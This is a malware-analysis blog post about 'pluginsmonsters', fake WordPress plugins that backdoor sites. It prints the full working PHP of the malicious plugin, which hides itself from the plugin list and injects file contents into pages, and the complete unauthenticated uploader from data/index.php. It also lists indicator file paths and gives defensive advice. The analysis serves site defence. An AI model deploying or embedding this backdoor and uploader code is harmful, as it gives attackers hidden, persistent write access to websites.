Pluginsmonsters Fake Plugin Backdoors WordPress Websites

While analyzing malware, I became aware of sites infected with fake WordPress plugins which provide an adversary with persistent, hidden access to inject malicious content into a site's pages. Coined 'pluginsmonsters', what follows is a high-level analysis of the fake plugins, how they hide themselves, and how to protect against such infections.

The fake plugins have names that include 'pluginmonsters', 'pluginsamonsters' (note the 'a'), and 'ls-oembed'.

Fake plugins
/wp-content/plugins/all-in-one-wp-security-and-firewall/all-in-one-wp-security-and-firewall.php
/wp-content/plugins/ls-oembed/ls-oembed.php
/wp-content/plugins/pluginmonsters/pluginmonsters.php
/wp-content/plugins/pluginsmonsters/pluginsmonsters.php
/wp-content/plugins/pluginsamonsters/pluginsamonsters.php

Likely through a vulnerable plugin or theme, the fraudulent plugins are written to the wp-content/plugins directory. Each plugin includes an eponymous file containing the primary payload, a zero-byte file named file.txt, proxy.txt, or security.txt, and a data directory which contains an uploader named index.php.

The main plugin file, here pluginsmonsters.php, starts with header comments that reference Scratch, MIT's learning-focused programming language. The active code then defines the plugin's location and other variables, and sets up a function, SECURITYFIREWALL_hide. The function returns the complete list of plugins depending on the attacker's $_GET parameter of SECURITYFIREWALL__ADMIN_LOGIN, and more importantly, checks if the plugin itself is active, and if so, hides itself with unset(). The pluginsmonsters file then hooks the SECURITYFIREWALL_hide function into the all_plugins filter, hiding itself in WordPress' plugins table. The final capability is to hook an anonymous function to loop_start to output the file.txt file contents as WordPress shows posts.

```php
<?php
/*
Plugin Name: pluginmonsters
Description: helps young people learn to think creatively, reason systematically, and work collaboratively — essential skills for life in the 21st.
Author: Sratch
Version: 1.1
*/


define('SECURITYFIREWALL__BASENAME', basename( __DIR__ ) );
define('SECURITYFIREWALL__PLUGIN', SECURITYFIREWALL__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
define('SECURITYFIREWALL__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define('SECURITYFIREWALL__SCRIPT_DIR', SECURITYFIREWALL__PLUGIN_DIR );
define('SECURITYFIREWALL__SCRIPT_FILE',  'file.txt');
define('SECURITYFIREWALL__SCRIPT_FILE_FULL', SECURITYFIREWALL__SCRIPT_DIR . SECURITYFIREWALL__SCRIPT_FILE);
define('SECURITYFIREWALL__ADMIN_LOGIN', 'SECURITYFIREWALL__ADMIN');


//скрываем плагины от всех кроме главного админа start
function SECURITYFIREWALL_hide($plugins) {

    if( $_GET[SECURITYFIREWALL__ADMIN_LOGIN] == 1 ) {
        return $plugins;
    }

    $user = wp_get_current_user();

    if( $user->data->user_login === SECURITYFIREWALL__ADMIN_LOGIN ) {
        return $plugins;
    }

    if( is_plugin_active( SECURITYFIREWALL__PLUGIN ) ) {
        unset( $plugins[ SECURITYFIREWALL__PLUGIN ] );
    }

    return $plugins;
}

add_filter('all_plugins', 'SECURITYFIREWALL_hide');

add_action( 'loop_start', function (){
    if( file_exists(SECURITYFIREWALL__SCRIPT_FILE_FULL) && is_readable(SECURITYFIREWALL__SCRIPT_FILE_FULL) ) {
        readfile(SECURITYFIREWALL__SCRIPT_FILE_FULL);
    }
});

//add_action('shutdown', function() {
//    $final = '';
//    $levels = ob_get_level();
//    for ($i = 0; $i <= $levels; $i++){
//        $final .= ob_get_clean();
//    }
//    echo apply_filters('final_output', $final);
//}, 0);
//
//add_filter('final_output', function($output) {
//    $after_body = apply_filters('after_body','');
//    if( !$after_body ) return NULL;
//    $output = preg_replace("/(\<body.*\>)/", "$1".$after_body, $output);
//    //echo '<textarea>', htmlspecialchars($output),'</textarea>';
//    return $output;
//});
//
//add_action('after_body', function() {
//    if( file_exists(SECURITYFIREWALL__SCRIPT_FILE_FULL) && is_readable(SECURITYFIREWALL__SCRIPT_FILE_FULL) ) {
//        $content = file_get_contents(SECURITYFIREWALL__SCRIPT_FILE_FULL);
//        return ($content === FALSE ? NULL : $content);
//    }
//});
```

pluginsmonsters.php

The data/index.php file is an uploader with two methods to write files to the victim site, using move_uploaded_file() if the $_POST upload parameter is set to ‘1’, and fwrite() if upload is set to ‘2’.

```php
<?php
if (isset($_POST['upload'])){
    if ($_POST['upload']=='1'){
        $uploadfile = $_POST['path'].$_FILES['uploadfile']['name'];
        if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile))
            {echo 'ok';}
        else {echo $_FILES['uploadfile']['error'];}
        }
    if ($_POST['upload']=='2'){
        $fp=fopen($_POST['path'],'a');
        fwrite($fp, "\r\n");
        fwrite($fp, $_POST['uploadfile']);
        fclose($fp);
        echo 'ok';
        }
    }
else {header('Location: ../../');}
?>
```

data/index.php

Additional files which may be associated with the plugin infections, include the same uploader files and fped8.org doorway scripts in the /wp-content directory.

Uploaders and doorways
wmsconfigs.php
wp-acsesapps.php
wperrorpl.php
wpsplugins.php
wp-trackbacksys.php
wverrors.php

Protecting against ‘pluginsmonsters’ and like infections starts with keeping core WordPress, plugins, and themes up-to-date. Manually reviewing the wp-content/plugins and wp-content/themes directories using a hosting control panel or file transfer program will also keep site owners familiar with their site and expose suspicious content. Finally, implement a web application firewall (WAF) and malware scanner to prevent exploitation and mitigate uploaded malicious code.